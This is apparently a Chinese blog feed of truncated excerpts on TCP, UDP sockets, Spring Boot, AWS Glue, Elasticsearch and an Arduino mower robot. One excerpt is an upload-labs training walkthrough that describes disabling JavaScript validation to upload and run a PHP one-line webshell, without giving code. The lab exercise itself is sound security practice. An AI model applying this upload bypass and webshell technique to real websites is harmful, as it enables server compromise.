&#x1f31f; 欢迎来到 我的博客&#xff01; &#x1f308; &#x1f4a1; 探索未知, 分享知识 !&#x1f4ab; 本文目录 1. TCP的可靠性机制1.2可靠性的基础上,尽可能得提高效率 2. TCP三次握手过程3. 为何不是四次握手&#xff1f; 在互联网的复杂世界中&#xff0c;TCP&am…

基于springboot的高校教师教研信息填报系统

文章目录 项目介绍主要功能截图&#xff1a;部分代码展示设计总结项目获取方式 &#x1f345; 作者主页&#xff1a;超级无敌暴龙战士塔塔开 &#x1f345; 简介&#xff1a;Java领域优质创作者&#x1f3c6;、 简历模板、学习资料、面试题库【关注我&#xff0c;都给你】 &…

亚马逊云科技Glue

Glue 最重要的部分&#xff0c; ETL&#xff1a;用于从 A 点&#xff08;我们的源数据&#xff09;提取、转换和加载数据到 B 点&#xff08;目标文件或数据存储库&#xff09;。 AWS Glue 会为您执行大量此类工作。 转换通常是更繁重的工作&#xff0c;需要从各种来源进行组合…

【嵌入式DIY实例】-自动割草机器

自动割草机器 文章目录 自动割草机器1、割草机器介绍2、硬件准备3、功能设计4、硬件接线5、代码实现本文将介绍如何使用 Arduino 构建一个简易自动割草机机器人或割草机机器人。该机器人可以自动剪掉花园里多余的草。如果花园里有障碍物,它会自动改变方向。帮助以减少人力。 警…

【Elasticsearch】windows安装elasticsearch教程及遇到的坑

一、安装参考 1、安装参考&#xff1a;ES的安装使用(windows版) elasticsearch的下载地址&#xff1a;https://www.elastic.co/cn/downloads/elasticsearch ik分词器的下载地址&#xff1a;https://github.com/medcl/elasticsearch-analysis-ik/releases kibana可视化工具下载…

网络编程套接字——实现简单的UDP网络程序

目录 1、预备知识 1.1、认识端口号 1.2、端口号 vs 进程pid 1.3、认识TCP协议 1.4、认识UDP协议 1.5、网络字节序 2、socket编程接口 2.1、socket常见API 2.2、sockaddr结构 3、实现一个简易的UDP服务器和客户端通信 log.hpp UdpServer.hpp UdpClient.cc Main.cc…

upload-labs通关方式

pass-1 通过弹窗可推断此关卡的语言大概率为js&#xff0c;因此得出两种解决办法 方法一 浏览器禁用js 关闭后就逃出了js的验证就可以正常php文件 上传成功后打开图片链接根据你写的一句话木马执行它&#xff0c;我这里采用phpinfo&#xff08;&#xff09; 方法二 在控制台…

【网络编程基础(一)】网络基础和SOCKET

这里写目录标题 1、网络三要素2、IPV4和IPV6区别3、网络交互3.1、交互模型图3.2、基础通信协议3.3、OSI参考模型与TCP/IP参考模型对应关系 4、SOCKET网络套接字4.1、SOCKET分类4.2、基于流式套接字的编程流程4.3、网络通信雏形4.4、socket函数4.4.1、socket函数示例 4.5、bind函…